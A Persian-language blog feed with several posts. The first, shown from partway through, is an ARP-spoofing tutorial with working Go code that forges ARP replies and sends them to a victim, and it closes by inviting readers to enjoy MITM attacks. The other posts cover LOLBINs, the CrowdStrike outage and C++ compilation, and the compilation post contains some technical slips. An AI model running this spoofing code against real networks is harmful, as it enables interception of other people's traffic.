NewARPReplyPacket(src *Address, dst *Address) ([]byte, error) {&#xA;&#x9;  ethLayer := layers.Ethernet{&#xA;&#x9;&#x9;  SrcMAC:       src.mac,&#xA;&#x9;&#x9;  DstMAC:       dst.mac,&#xA;&#x9;&#x9;  EthernetType: layers.EthernetTypeARP,&#xA;&#x9;  }&#xA;&#x9;  arpLayer := layers.ARP{&#xA;&#x9;&#x9;  AddrType:          layers.LinkTypeEthernet,&#xA;&#x9;&#x9;  Protocol:          layers.EthernetTypeIPv4,&#xA;&#x9;&#x9;  HwAddressSize:     6,&#xA;&#x9;&#x9;  ProtAddressSize:   4,&#xA;&#x9;&#x9;  Operation:         layers.ARPReply,&#xA;&#x9;&#x9;  SourceHwAddress:   src.mac,&#xA;&#x9;&#x9;  SourceProtAddress: src.ip.To4(),&#xA;&#x9;&#x9;  DstHwAddress:      dst.mac,&#xA;&#x9;&#x9;  DstProtAddress:    dst.ip.To4(),&#xA;&#x9;  }&#xA;&#xA;&#x9;  buffer := gopacket.NewSerializeBuffer()&#xA;&#x9;  if err := gopacket.SerializeLayers(buffer, Options, ðLayer, &amp;arpLayer); err != nil {&#xA;&#x9;&#x9;  return nil, err&#xA;&#x9;  }&#xA;&#x9;  return buffer.Bytes(), nil&#xA;}اطلاعاتمنبع اینجا ما، مهاجم، با IPv4 معمولی و آدرس سخت‌افزاری خود هستیم . و مقصد دستگاهی است که ما می‌خواهیم باشیم ، بنابراین دستگاه هدف ما با نام قربانی .ارسال بسته هامرحله آخر فقط در مورد ارسال بسته‌های دستکاری‌شده در یک حلقه است. اما ابتدا باید رابط کاربری را که می‌خواهیم این‌ها را روی آن ارسال کنیم و همچنین دستگاه را بشناسیم. من چند کد کوچک اضافه کرده‌ام تا ابتدا با مقایسه IP خروجی با IP هر رابط روی دستگاه، رابط را پیدا کنم، پس‌ازاینکه با رابط موردنیاز ما مطابقت داشت.دانستن نام دستگاهی که بسته‌ها را از طریق آن ارسال می‌کنید همان بازی است، روی همه دستگاه‌ها حلقه می‌زنیم، روی تمام آدرس‌های آن حلقه می‌زنیم IPv4 را بررسی کنید. سپس دستگاه را باز می‌کنیم و سعی می‌کنیم بسته‌های جعلی را ارسال کنیم، همه این‌ها در فایل انجام‌شده است main.go:package main&#xA;import (&#xA;&#x9;  &#34;github.com/google/gopacket/pcap&#34;&#xA;&#x9;  &#34;net&#34;&#xA;&#x9;  &#34;strings&#34;&#xA;&#x9;  &#34;time&#34;&#xA;)&#xA;// Obviously these are not accurate &amp; fictive addresses&#xA;const (&#xA;&#x9;  TargetIP  = &#34;192.168.13.37&#34;&#xA;&#x9;  TargetMAC = &#34;13:de:ad:be:ef:37&#34;&#xA;&#x9;  Timeout            = 5 * time.Second&#xA;&#x9;  TotalPacketsToSend = 15&#xA;)&#xA; &#xA;func main() {&#xA;&#x9;  // Create a new session&#xA;&#x9;  s := NewSession()&#xA;&#x9;  // Get the interface&#xA;&#x9;  ifaces, err := net.Interfaces()&#xA;&#x9;  if err != nil {&#xA;&#x9;&#x9;  s.logger.Fatal(&#34;Failed to retrieve interfaces: &#34; + err.Error())&#xA;&#x9;&#x9;  return&#xA;&#x9;  }&#xA;&#x9;  for _, iface := range ifaces {&#xA;&#x9;&#x9;  if iface.HardwareAddr == nil {&#xA;&#x9;&#x9;  &#x9;continue&#xA;&#x9;&#x9;  }&#xA;&#x9;&#x9;  addrs, err := iface.Addrs()&#xA;&#x9;&#x9;  if err != nil {&#xA;&#x9;&#x9;&#x9;  s.logger.Fatal(&#34;Failed to retrieve the addresses of the interface: &#34; + err.Error())&#xA;&#x9;&#x9;  }&#xA;&#x9;&#x9;  for _, addr := range addrs {&#xA;&#x9;&#x9;&#x9;  if strings.Split(addr.String(), &#34;/&#34;)[0] == s.ip.String() {&#xA;&#x9;&#x9;&#x9;&#x9;  // Set the current interface &amp; MAC address&#xA;&#x9;&#x9;&#x9;&#x9;  s.iface = iface&#xA;&#x9;&#x9;&#x9;&#x9;  s.mac = iface.HardwareAddr&#xA;&#x9;&#x9;&#x9;&#x9;  break&#xA;&#x9;&#x9;&#x9;  }&#xA;&#x9;&#x9;  }&#xA;&#x9;  }&#xA;&#xA;&#x9;  // Get the device to listen to&#xA;&#x9;  devices, err := pcap.FindAllDevs()&#xA;&#x9;  if err != nil {&#xA;&#x9;&#x9;  s.logger.Fatal(&#34;Failed to retrieve devices: &#34; + err.Error())&#xA;&#x9;&#x9;  return&#xA;&#x9;  }&#xA;&#x9;  for _, device := range devices {&#xA;&#x9;&#x9;  for _, address := range device.Addresses {&#xA;&#x9;&#x9;&#x9;  if address.IP.To4().String() == s.ip.String() {&#xA;&#x9;&#x9;&#x9;&#x9;  s.device = device&#xA;&#x9;&#x9;&#x9;&#x9;  break&#xA;&#x9;&#x9;&#x9;  }&#xA;&#x9;&#x9;  }&#xA;&#x9;  }&#xA;&#x9;  // Open the device and be prepared to send the spoofed packets&#xA;&#x9;  handler, err := pcap.OpenLive(s.device.Name, 65535, true, pcap.BlockForever)&#xA;&#x9;  if err != nil {&#xA;&#x9;&#x9;  s.logger.Fatal(&#34;Failed to open device: &#34; + err.Error())&#xA;&#x9;&#x9;  return&#xA;&#x9;  }&#xA;&#xA;&#x9;  // Prepare the ARP reply packet&#xA;&#x9;  src := NewAddress(s.ip, s.mac)&#xA;&#x9;  mac, _ := net.ParseMAC(TargetMAC)&#xA;&#x9;  dst := NewAddress(net.ParseIP(TargetIP), mac)&#xA;&#x9;  arpReply, _ := NewARPReplyPacket(src, dst)&#xA;&#xA;&#x9;  s.logger.Info(&#34;Sending spoofed ARP replies to &#34; + dst.GetIP().String() + &#34; with MAC &#34; + dst.GetMAC().String() + &#34; every &#34; + Timeout.String())&#xA;&#xA;&#x9;  // Send the packets&#xA;&#x9;  for i := 0; i &lt; TotalPacketsToSend; i++ {&#xA;&#x9;&#x9;  err = handler.WritePacketData(arpReply)&#xA;&#x9;&#x9;  if err != nil {&#xA;&#x9;&#x9;&#x9;  s.logger.Error(&#34;Failed to send packet: &#34; + err.Error())&#xA;&#x9;&#x9;  }&#xA;&#x9;&#x9;  time.Sleep(Timeout)&#xA;&#x9;  }&#xA;}هنگام اجرای ابزار کوچک، به وضوح می‌توانیم حمله ARP Spoofing را هنگام باز کردن Wireshark مشاهده کنیم:نتیجهجعل ARP بسته به سناریو می‌تواند منجر به عواقب جدی شود، اگرچه پروتکل ARP استفاده قانونی نیز دارد، بنابراین نمی‌توانید کل پروتکل ARP را مسدود کنید. برخی از اقدامات کاهشی در برابر حملات ARP Spoofing وجود دارد که من به‌طور خلاصه آن‌ها را نمی‌دانم، اما به‌راحتی می‌توان آن‌ها را هنگام جستجو در گوگل به‌تنهایی پیدا کرد. درعین‌حال، از انجام برخی از حملات MITM لذت ببرید.</description><category>Loop Lunatic</category><author>Loop Lunatic</author><pubDate>Sat, 07 Sep 2024 13:31:05 +0330</pubDate></item><item><title>کشف LOLBIN ها: ابزارهای مخفی پنهان در دید ساده</title><link>https://virgool.ir/@LoopLunatic/کشف-lolbin-ها-ابزارهای-مخفی-پنهان-در-دید-ساده-st7hseb6jaqs</link><description>در دنیای همیشه در حال تکامل امنیت سایبری، مهاجمان دائماً در حال ابداع راه‌های جدید و مبتکرانه برای نفوذ به سیستم‌ها و به خطر انداختن داده‌ها هستند. یکی از تکنیک‌هایی که در بین مجرمان سایبری شهرت پیدا می‌کند، استفاده از Living Off the Land Binaries (LOLBIN) است. این فایل‌ها و ابزارهای سیستمی به ظاهر بی‌ضرر، بومی سیستم عامل ویندوز، به ابزارهای قدرتمندی برای مهاجمان تبدیل شده‌اند. در این مقاله به این موضوع می پردازیم که LOLBIN ها چیست و هدف آنها چیست و برخی از معروف ترین آنها را معرفی می کنیم.درک LOLBINابزارهای LOLBIN ها چه هستند؟ابزارهای Living Off the Land Binaries که اغلب به اختصار LOLBIN نامیده می شود، به باینری های سیستم قانونی و ابزارهایی اشاره دارد که توسط مهاجمان برای انجام فعالیت های مخرب روی یک سیستم در معرض خطر استفاده می شود. این فایل‌ها معمولاً در هر دستگاه ویندوز یافت می‌شوند و عملکردهای قانونی آن‌ها را برای فرار از شناسایی توسط نرم‌افزارهای امنیتی ایده‌آل می‌سازد.هدف از LOLBIN هاهدف اصلی LOLBIN ها ترکیب شدن با عملکرد عادی یک سیستم است که تمایز بین فعالیت های مشروع و مخرب را برای ابزارهای امنیتی دشوار می کند. مهاجمان از این باینری ها برای اجرای دستورات، اجرای اسکریپت ها و انجام اقدامات مخرب مختلف استفاده می کنند، در حالی که به نظر می رسد فقط از ابزارهای استاندارد و داخلی استفاده می کنند.چرا LOLBIN ها برای مهاجمان جذاب هستند؟چندین عامل LOLBIN ها را به انتخابی جذاب برای مجرمان سایبری تبدیل می کند:ابزارهای Evasion: LOLBIN ها به مهاجمان اجازه می دهند تا با اجتناب از نیاز به معرفی فایل ها یا نرم افزارهای مخرب به سیستم قربانی، مخفیانه عمل کنند. از آنجایی که این باینری ها بخشی از سیستم عامل قانونی هستند، احتمال کمتری وجود دارد که مشکوک شوند.قابلیت اطمینان: LOLBIN ها بسیار قابل اعتماد هستند، زیرا بخشی از خود سیستم عامل هستند. مهاجمان می توانند روی وجود و کارکرد این ابزارها در اکثر سیستم های ویندوز حساب کنند.دور زدن امنیت: راه‌حل‌های امنیتی اغلب این باینری‌های سیستم قابل اعتماد را نادیده می‌گیرند یا حذف می‌کنند و به مهاجمان این امکان را می‌دهند که بدون ایجاد آلارم یا هشدار از آنها استفاده کنند.کاهش ردپا: LOLBIN ها نیازی به دانلود یا نصب فایل های اضافی ندارند، که ردپای دیجیتالی حمله را کاهش می دهد و تحقیقات پزشکی قانونی را چالش برانگیزتر می کند.اکنون که متوجه شدیم LOLBIN چیست و چرا مهاجمان از آنها حمایت می کنند، بیایید برخی از معروف ترین LOLBIN هایی را که در حملات سایبری به کار رفته اند را بررسی کنیم.ابزارهای LOLBIN معروف در چشم انداز امنیت سایبرینرم افزار Powershell: در حالی که خود یک باینری نیست، Powershell یک زبان برنامه نویسی قدرتمند است که در سیستم های ویندوز ساخته شده است. مهاجمان معمولاً از آن برای اجرای اسکریپت ها و دستورات استفاده می کنند، اغلب بارهای مخرب را از اینترنت دانلود می کنند یا حملاتی را انجام می دهند.نرم افزار Regsvr32.exe: Regsvr32.exe یک باینری قانونی ویندوز است که برای ثبت و لغو ثبت فایل های DLL استفاده می شود. با این حال، می‌توان از آن برای دانلود و اجرای بارهای مخرب از سرورهای راه دور نیز استفاده کرد که آن را در بین مهاجمان برای حملات بدون فایل مورد علاقه قرار می‌دهد.نرم افزارهای Cscript و Wscript: این دو باینری برای اجرای اسکریپت های Windows Script Host استفاده می شود. آنها را می توان برای اجرای کدهای مخرب جاوا اسکریپت یا VBScript، اغلب بدون دست زدن به دیسک، به کار برد که تشخیص آنها را دشوار می کند.نرم افزار Mshta.exe: Microsoft HTML Application Host (mshta.exe) برای اجرای برنامه های HTML (فایل های hta) استفاده می شود. مهاجمان می توانند از آن برای اجرای اسکریپت های مخرب یا بارگیری بارهای مخرب از اینترنت در حالی که خوش خیم به نظر می رسند استفاده کنند.نرم افزارRundll32.exe: Rundll32.exe یک ابزار قانونی ویندوز است که برای اجرای توابع در کتابخانه های پیوند پویا (DLL) استفاده می شود. مهاجمان می توانند از آن برای اجرای کدهای مخرب موجود در DLL استفاده کنند، اغلب بدون ایجاد فرآیند جدید.نرم افزار Certutil.exe: Certutil یک ابزار ویندوزی است که برای مدیریت گواهی ها استفاده می شود. همچنین می تواند محتوای رمزگذاری شده با Base64 را رمزگشایی کند، که مهاجمان از آن برای دانلود و اجرای بارهای مخرب پنهان شده در فایل های رمزگذاری شده استفاده می کنند.نرم افزار At.exe: Windows Task Scheduler (at.exe) می‌تواند برای برنامه‌ریزی کارهای مخرب و اجرای دستورات در زمان‌ها یا فواصل زمانی خاص مورد سوء استفاده قرار گیرد، و به مهاجمان اجازه می‌دهد تا پایداری خود را در یک سیستم در معرض خطر حفظ کنند.شناسایی و کاهش حملات LOLBINتشخیص استفاده از LOLBIN می تواند چالش برانگیز باشد، زیرا این ابزارها برای ترکیب با محیط قانونی سیستم در نظر گرفته شده اند. با این حال، سازمان ها می توانند چندین استراتژی را برای ارتقای وضعیت امنیتی خود پیاده سازی کنند:تجزیه و تحلیل مبتنی بر رفتار: راه حل های امنیتی باید به جای تکیه بر تشخیص مبتنی بر امضا، بر تشخیص رفتار غیرعادی یا مشکوک تمرکز کنند. فعالیت غیرعادی توسط باینری های شناخته شده می تواند نشانه ای از حمله LOLBIN باشد.لیست برنامه های سفید : اجرای لیست سفید برنامه ها می تواند به محدود کردن اجرای باینری ها به منابع قابل اعتماد کمک کند و از اجرای کدهای مخرب توسط مهاجمان جلوگیری کند.نظارت کاربر و نقطه پایانی: به طور مداوم بر فعالیت های کاربر و نقطه پایانی برای رفتار غیرعادی نظارت کنید. تجزیه و تحلیل رفتاری و تجزیه و تحلیل رفتار کاربر می تواند به شناسایی الگوهای فعالیت مشکوک کمک کند.وصله منظم: به روز نگه داشتن سیستم ها با آخرین وصله های امنیتی می تواند برخی از حملات LOLBIN را کاهش دهد، زیرا مهاجمان اغلب از آسیب پذیری ها برای دستیابی به دسترسی سوء استفاده می کنند.آموزش آگاهی از امنیت: آموزش کارمندان و کاربران در مورد خطرات مرتبط با LOLBIN ها و تاکتیک های مهندسی اجتماعی می تواند به جلوگیری از موفقیت حملات کمک کند.تقسیم‌بندی شبکه: سیستم‌های حیاتی را از سیستم‌های کمتر بحرانی جدا کنید تا در صورت رخنه، گسترش حمله را محدود کنید.نتیجهنرم افزارهای Living Off the Land Binaries (LOLBIN) به دلیل توانایی آنها برای کار مخفیانه در سیستم عامل ویندوز به ابزاری برای مجرمان سایبری تبدیل شده است. این باینری ها و ابزارهای سیستم به ظاهر خوش خیم برای انجام فعالیت های مخرب در حالی که از شناسایی فرار می کنند استفاده می شود. با ادامه تکامل حملات سایبری، سازمان ها باید هوشیار بمانند، اقدامات امنیتی قوی را اجرا کنند و از تکنیک های تشخیص پیشرفته برای محافظت از سیستم های خود در برابر حملات مبتنی بر LOLBIN استفاده کنند. آگاهی از وجود و تهدیدات احتمالی ناشی از LOLBIN ها اولین گام برای دفاع در برابر این دشمنان پنهانکار در دنیای امنیت سایبری است.</description><category>Loop Lunatic</category><author>Loop Lunatic</author><pubDate>Sat, 24 Aug 2024 11:45:06 +0330</pubDate></item><item><title>حادثه CrowdStrike: تحلیل جامع بزرگ‌ترین اختلال فناوری اطلاعات در تاریخ</title><link>https://virgool.ir/@LoopLunatic/حادثه-crowdstrike-تحلیل-جامع-بزرگ-ترین-اختلال-فناوری-اطلاعات-در-تاریخ-sjh8t5eqi9jx</link><description>حادثه CrowdStrike که در 19 جولای 2024 رخ داد، یکی از بزرگ‌ترین اختلالات فناوری اطلاعات در تاریخ بود. این رویداد که توسط یک به‌روزرسانی نرم‌افزاری معیوب ایجاد شد، باعث هرج‌ومرج گسترده‌ای شد و میلیون‌ها سیستم را در سراسر جهان تحت تأثیر قرارداد. در این مقاله، جزئیات آنچه اتفاق افتاد، دلایل وقوع آن، میزان تأثیر و راه‌حل‌های پیشنهادی برای جلوگیری از وقوع مجدد چنین حوادثی را بررسی خواهیم کرد. چه اتفاقی افتاد؟در 19 جولای 2024، حدود ساعت 04:09 UTC، CrowdStrike، یک شرکت پیشرو درزمینهٔ امنیت سایبری، یک به‌روزرسانی پیکربندی برای نرم‌افزار امنیتی Falcon خود منتشر کرد. این به‌روزرسانی که برای بهبود قابلیت‌های نرم‌افزار طراحی‌شده بود، به‌طور ناخواسته باعث یک خرابی فاجعه‌بار شد. این به‌روزرسانی باعث شد که کامپیوترهای ویندوزی تحت تأثیر، وارد حالت بوت لوپ یا حالت بازیابی بوت شوند و غیرقابل استفاده شوند.این مشکل ابتدا در ماشین‌های مجازی در حال اجرا بر روی Microsoft Azure و Google Compute Engine مشاهده شد. این پلتفرم‌ها تقریباً بلافاصله پس از انتشار به‌روزرسانی، گزارش‌هایی از خرابی‌ها و راه‌اندازی مجدد گسترده دریافت کردند. مشکل محدود به این محیط‌ها نبود؛ به‌سرعت به ماشین‌های فیزیکی و سایر پلتفرم‌های ابری نیز گسترش یافت و صنایع و خدمات مختلفی را تحت تأثیر قرارداد. جزئیات فنی حادثهعلت اصلی حادثه یک نقص در Falcon Sensor بود که یک جزء حیاتی از مجموعه امنیتی CrowdStrike است. Falcon Sensor در سطح کرنل سیستم‌عامل عمل می‌کند و ادغام عمیقی با سیستم دارد و حفاظت جامعی در برابر تهدیدات ارائه می‌دهد. با این حال، این ادغام عمیق نیز به این معنی است که هرگونه مشکل در Sensor می‌تواند عواقب جدی داشته باشد.به‌روزرسانی معیوب یک خطای پیکربندی را معرفی کرد که باعث شد Falcon Sensor برخی از حالت‌های سیستم را به‌عنوان تهدید تفسیر کند. این تفسیر نادرست باعث شد که سنسور یک سری اقدامات را آغاز کند که درنهایت باعث خرابی سیستم شد. به‌طور خاص، سنسور یک سری رویدادها را تحریک کرد که منجر به ورود سیستم‌عامل به حالت بوت لوپ یا حالت بازیابی بوت شد.سیستم‌های تحت تأثیر عمدتاً شامل سیستم‌های ویندوز 10 و ویندوز 11 بودند، اگرچه برخی از سیستم‌های ویندوز 7 و ویندوز 8 نیز تحت تأثیر قرار گرفتند. به‌طور قابل‌توجهی، سیستم‌های در حال اجرای macOS و Linux تحت تأثیر قرار نگرفتند، زیرا به‌روزرسانی پیکربندی Falcon Sensor مخصوص محیط‌های ویندوزی بود. دامنه تأثیرمقیاس تأثیر بی‌سابقه بود. حدود 8.5 میلیون کامپیوتر در سراسر جهان تحت تأثیر به‌روزرسانی معیوب قرار گرفتند. این حادثه خدمات حیاتی در بخش‌های مختلف ازجمله خطوط هوایی، بانک‌ها، بیمارستان‌ها، بازارهای سهام و خدمات دولتی را مختل کرد. خطوط هوایی و فرودگاه‌هاخطوط هوایی و فرودگاه‌ها ازجمله بخش‌هایی بودند که بیشترین آسیب را دیدند. این حادثه باعث اختلالات قابل‌توجهی در عملیات پرواز شد و بسیاری از پروازها تأخیر یا لغو شدند. سیستم‌های فرودگاهی، ازجمله سیستم‌های حمل‌ونقل بار و چک ‌این، غیرقابل استفاده شدند و باعث هرج‌ومرج و سردرگمی برای مسافران شدند. مؤسسات مالیبانک‌ها و مؤسسات مالی نیز با اختلالات شدید مواجه شدند. بسیاری از دستگاه‌های خودپرداز و خدمات بانکی آنلاین در دسترس نبودند و باعث ناراحتی مشتریان و احتمالاً خسارات مالی شدند. بازارهای سهام با تأخیرها و وقفه‌هایی در معاملات مواجه شدند که تأثیر مالی را بیشتر کرد. بخش بهداشت و درمانبیمارستان‌ها و ارائه‌دهندگان خدمات بهداشتی نیز از این حادثه مصون نماندند. سیستم‌های حیاتی مورداستفاده برای مراقبت از بیماران، پرونده‌های پزشکی و تجهیزات تشخیصی تحت تأثیر قرار گرفتند و خطراتی برای ایمنی و ارائه خدمات به بیماران ایجاد کردند. خدمات دولتیخدمات دولتی، ازجمله خدمات اضطراری و وب‌سایت‌های عمومی، با قطعی‌ها و اختلالات مواجه شدند. این امر توانایی دولت‌ها را در ارائه خدمات ضروری و ارتباط با عموم مردم در طول بحران مختل کرد. پاسخ و بازیابیپاسخ CrowdStrike به این حادثه سریع بود. در عرض چند ساعت پس از شناسایی مشکل، شرکت یک اصلاحیه برای رفع به‌روزرسانی معیوب منتشر کرد. با این حال، فرآیند بازیابی ساده نبود. بسیاری از سیستم‌های تحت تأثیر نیاز به مداخله دستی برای بازیابی عملکرد داشتند که منجر به قطعی‌های طولانی‌تر برای برخی از خدمات شد.مدیرعامل CrowdStrike، جورج کورتز، عذرخواهی عمومی کرد و به مشتریان اطمینان داد که شرکت به‌طور خستگی‌ناپذیر برای حل مشکل و جلوگیری از وقوع مجدد آن تلاش می‌کند. شرکت همچنین با مایکروسافت و سایر شرکای صنعتی همکاری کرد تا پشتیبانی فنی و راهنمایی به مشتریان تحت تأثیر ارائه دهد. چرا این اتفاق افتاد؟این حادثه نتیجه یک حمله سایبری نبود، بلکه یک نقص نرم‌افزاری بود. علت اصلی یک خطای پیکربندی در به‌روزرسانی Falcon Sensor بود. این خطا در مرحله آزمایش شناسایی نشد و نشان‌دهنده شکاف‌هایی در فرآیند تضمین کیفیت بود.چندین عامل به وقوع این حادثه کمک کردند: پیچیدگی نرم‌افزار: Falcon Sensor در سطح کرنل عمل می‌کند و بسیار پیچیده و حساس به تغییرات است. هرگونه خطا در پیکربندی می‌تواند عواقب گسترده‌ای داشته باشد.آزمایش ناکافی: به‌روزرسانی به‌طور کامل در همه محیط‌ها و سناریوهای ممکن آزمایش نشده بود. این نادیده‌گیری باعث شد که نقص تا زمان استقرار در سیستم‌های تولیدی شناسایی نشود.استقرار سریع: به‌روزرسانی به‌سرعت در تعداد زیادی از سیستم‌ها مستقر شد و تأثیر نقص را تقویت کرد. یک استقرار تدریجی‌تر می‌توانست دامنه حادثه را محدود کند. راه‌حل‌های پیشنهادی برای جلوگیری از وقوع مجدد حوادث مشابهبرای جلوگیری از وقوع مجدد حوادث مشابه، چندین اقدام می‌توان انجام داد:بهبود روش‌های آزمایش: اجرای روش‌های آزمایش جامع که طیف گسترده‌ای از محیط‌ها و سناریوها را پوشش دهد. این شامل آزمایش فشار، آزمایش رگرسیون و آزمایش در شرایط واقعی برای شناسایی مشکلات احتمالی قبل از استقرار است.استقرار تدریجی به‌روزرسانی‌ها: اتخاذ رویکرد مرحله‌ای برای استقرار به‌روزرسانی‌ها. با یک زیرمجموعه کوچک از سیستم‌ها شروع کنید و به‌تدریج استقرار را بر اساس بازخورد و نظارت گسترش دهید. این می‌تواند به شناسایی و رفع مشکلات قبل از تأثیرگذاری بر تعداد زیادی از سیستم‌ها کمک کند.مکانیسم‌های بازگشت خودکار: توسعه مکانیسم‌های خودکار برای بازگشت سریع به‌روزرسانی‌ها در صورت بروز مشکلات. این می‌تواند زمان خرابی را به حداقل برساند و تأثیر به‌روزرسانی‌های معیوب را کاهش دهد.نظارت و هشدار پیشرفته: اجرای سیستم‌های نظارت و هشدار پیشرفته برای شناسایی ناهنجاری‌ها و مشکلات در زمان واقعی. این امکان پاسخ سریع و کاهش مشکلات قبل از تشدید را فراهم می‌کند.ممیزی‌ها و بررسی‌های منظم: انجام ممیزی‌ها و بررسی‌های منظم از فرآیندهای توسعه و استقرار نرم‌افزار. این به شناسایی و رفع نقاط ضعف احتمالی کمک می‌کند و اطمینان از رعایت بهترین شیوه‌ها را فراهم می‌کند.همکاری با شرکای صنعتی: تقویت همکاری با شرکای صنعتی، ازجمله ارائه‌دهندگان خدمات ابری و سایر فروشندگان نرم‌افزار، برای به اشتراک‌گذاری اطلاعات و بهترین شیوه‌ها. این می‌تواند امنیت و قابلیت اطمینان کلی اکوسیستم نرم‌افزار را افزایش دهد. آموزش کاربر: آموزش و آموزش کاربران در مورد نحوه واکنش به حوادث و بازیابی سیستم‌ها. این شامل ارائه دستورالعمل‌ها و منابع واضح برای عیب‌یابی و بازیابی است.نتیجهحادثه CrowdStrike در 19 ژوئیه 2024، یادآور خطرات و چالش‌های احتمالی مرتبط با به‌روزرسانی نرم‌افزار و امنیت سایبری است. درحالی‌که این حادثه باعث اختلالات و خسارات مالی قابل‌توجهی شد، اهمیت تست، نظارت و مکانیسم‌های واکنش قوی را نیز برجسته کرد.با اجرای راهکارهای پیشنهادی و درس گرفتن از این حادثه، سازمان‌ها می‌توانند تاب‌آوری خود را افزایش داده و احتمال وقوع حوادث مشابه را در آینده کاهش دهند. نکته کلیدی اتخاذ یک رویکرد پیشگیرانه و مشارکتی برای امنیت سایبری است که اطمینان حاصل شود که سیستم‌ها ایمن، قابل‌اعتماد و قادر به مقاومت در برابر پیچیدگی‌های چشم‌انداز دیجیتال مدرن هستند.</description><category>Loop Lunatic</category><author>Loop Lunatic</author><pubDate>Mon, 22 Jul 2024 08:14:12 +0330</pubDate></item><item><title>آشنایی با فرآیند کامپایل یک برنامه سی پلاس پلاس</title><link>https://virgool.ir/@LoopLunatic/آشنایی-با-فرآیند-کامپایل-یک-برنامه-سی-پلاس-پلاس-xk1uwu8bsllt</link><description>کامپایل یک برنامه ++C یک فرآیند اساسی است که کد منبع قابل‌خواندن توسط انسان را به کد ماشین اجرایی که می‌تواند توسط یک کامپیوتر اجرا شود تبدیل می‌کند. فرآیند کامپایل شامل چندین مرحله است که هرکدام هدف خاصی را در ترجمه کدهای سطح بالا به دستورالعمل‌های باینری انجام می‌دهند. در این مقاله، مراحل کامپایل یک برنامه C++، آنچه در طول هر مرحله اتفاق می‌افتد و اهمیت هر مرحله در چرخه عمر توسعه را بررسی می‌کنیم.1.&#x9;پیش‌پردازش (Preprocessing):اولین مرحله در کامپایل یک برنامه ++C، پیش‌پردازش است. در طول پیش‌پردازش، پیش پردازنده کامپایلر (اغلب توسط &#39;cpp&#39; فراخوانی می‌شود) دستورالعمل‌هایی مانند &#39;#include&#39;، &#39;#define&#39; و &#39;#ifdef&#39; را کنترل می‌کند. پیش پردازنده دستورالعمل‌های «#include» را با محتویات فایل‌های هدر جایگزین می‌کند، ماکروهای تعریف‌شده با «#define» را حل می‌کند و دستورالعمل‌های کامپایل شرطی مانند «#ifdef» و «#ifndef» را پردازش می‌کند. خروجی این مرحله یک واحد ترجمه (یک فایل منبع تک پس از پیش‌پردازش) بدون هیچ دستورالعمل پیش پردازنده است.2.&#x9;تلفیق (Compilation):پس از پیش‌پردازش، مرحله کامپایل آغاز می‌شود. در این مرحله، کد منبع پیش‌پردازش شده (واحد ترجمه) به کد اسمبلی مخصوص معماری هدف تبدیل می‌شود. کامپایلر نحو و معنای کد را تجزیه‌وتحلیل می‌کند، بهینه‌سازی‌ها را انجام می‌دهد (در صورت فعال بودن) و دستورالعمل‌های اسمبلی میانی را تولید می‌کند. خروجی این فاز اغلب به‌عنوان یک فایل شی‌ء (`.o` یا .obj`) نامیده می‌شود که حاوی دستورالعمل‌های مستقل از ماشین است.3.&#x9;مونتاژ (Assembly):مرحله بعدی اسمبلی است که در آن کد اسمبلی تولیدشده توسط کامپایلر به کد ماشین مخصوص معماری CPU هدف ترجمه می‌شود. اسمبلر (به‌عنوان‌مثال، «مانند» در سیستم‌های یونیکس مانند) کد اسمبلی را می‌خواند و یک فایل شی‌ء حاوی دستورالعمل‌های کد ماشین (در قالب باینری) همراه با ابر داده (مانند نمادها و اطلاعات جابجایی) تولید می‌کند.4.&#x9;ربط دادن (Assembly):آخرین مرحله در فرآیند کامپایل پیوند دادن است. در طول پیوند، پیونددهنده (به‌عنوان‌مثال، `ld` در سیستم‌های شبه یونیکس) چندین فایل شی‌ء (ازجمله کتابخانه‌ها) را ترکیب می‌کند و مراجع را بین آن‌ها حل می‌کند. این شامل پیوند دادن فراخوانی‌های تابع به تعاریف آن‌ها، حل نمادها (مانند متغیرها و توابع جهانی) و انجام جابجایی آدرس است. پیونددهنده یک فایل اجرایی واحد (یک کتابخانه مشترک) تولید می‌کند که می‌تواند توسط سیستم‌عامل اجرا شود. درک دقیق مراحل تدوین:تحلیل واژگانی (Lexical Analysis): کامپایلر در طول تجزیه‌وتحلیل واژگانی، کد منبع را به نشانه‌ها (کلمات کلیدی، شناسه‌ها، لفظ‌ها و غیره) تجزیه می‌کند.تحلیل نحو (تجزیه)(Syntax Analysis (Parsing)): کامپایلر جریان نشانه را بر اساس قوانین گرامری زبان برنامه‌نویسی تجزیه می‌کند تا یک درخت نحو انتزاعی (AST) بسازد.تحلیل معنایی (Semantic Analysis): کامپایلر صحت معنایی مانند سازگاری نوع، شناسه‌های اعلام‌نشده و خطاهای نحوی را بررسی می‌کند.بهینه‌سازی (Optimization): گذرگاه‌های بهینه‌سازی اختیاری برای بهبود کارایی کد تولیدشده انجام می‌شود (به‌عنوان‌مثال کوچک کردن ثابت، حذف کد مرده، بهینه‌سازی حلقه).تولید کد (Code Generation): کامپایلر AST بهینه‌شده را به نمایش متوسط سطح پایین (IR) یا مستقیماً به کد اسمبلی/ماشین ترجمه می‌کند.در هر مرحله تألیف چه اتفاقی می‌افتد:پیش‌پردازش (Preprocessing): دستورالعمل‌هایی مانند &#34;#include&#34; گسترش می‌یابند، ماکروها جایگزین می‌شوند و کامپایل شرطی پردازش می‌شود.کامپایل (Compilation): کد منبع به دستورالعمل‌های اسمبلی ترجمه می‌شود و بهینه‌سازی‌ها اعمال می‌شود.اسمبلی (Assembly): کد اسمبلی به کد ماشین (کد شی‌ء) خاص معماری هدف ترجمه می‌شود.پیوند (Linking): فایل‌های شی‌ء باهم ترکیب می‌شوند، مراجع حل می‌شوند و یک فایل اجرایی یا کتابخانه نهایی تولید می‌شود.اهمیت هر مرحله تألیف:پیش‌پردازش (Preprocessing): مدیریت کد را با مدولارسازی و کامپایل شرطی ساده می‌کند.کامپایل (Compilation): کدهای سطح بالا را به کد مونتاژ/ماشین سطح پایین مناسب برای معماری هدف ترجمه می‌کند.اسمبلی (Assembly): کد اسمبلی را به کد ماشینی تبدیل می‌کند که توسط CPU قابل‌درک است.پیوند (Linking): فایل‌های شی‌ء و کتابخانه‌ها را ترکیب می‌کند، وابستگی‌ها را حل می‌کند و یک فایل اجرایی یا کتابخانه مستقل تولید می‌کند.نتیجه:درنتیجه، فرآیند کامپایل یک برنامه C++ شامل چندین مرحله مجزا است که هرکدام نقش مهمی در ترجمه کد منبع به کد ماشین اجرایی دارند. از پیش‌پردازش و کامپایل گرفته تا مونتاژ و پیوند، هر مرحله به تبدیل انتزاعات سطح بالا به دستورالعمل‌های باینری که می‌تواند توسط رایانه اجرا شود کمک می‌کند. درک این مراحل کامپایل و اهمیت آن‌ها برای توسعه‌دهندگان برای نوشتن برنامه‌های C++ کارآمد، قابل‌حمل و قابل 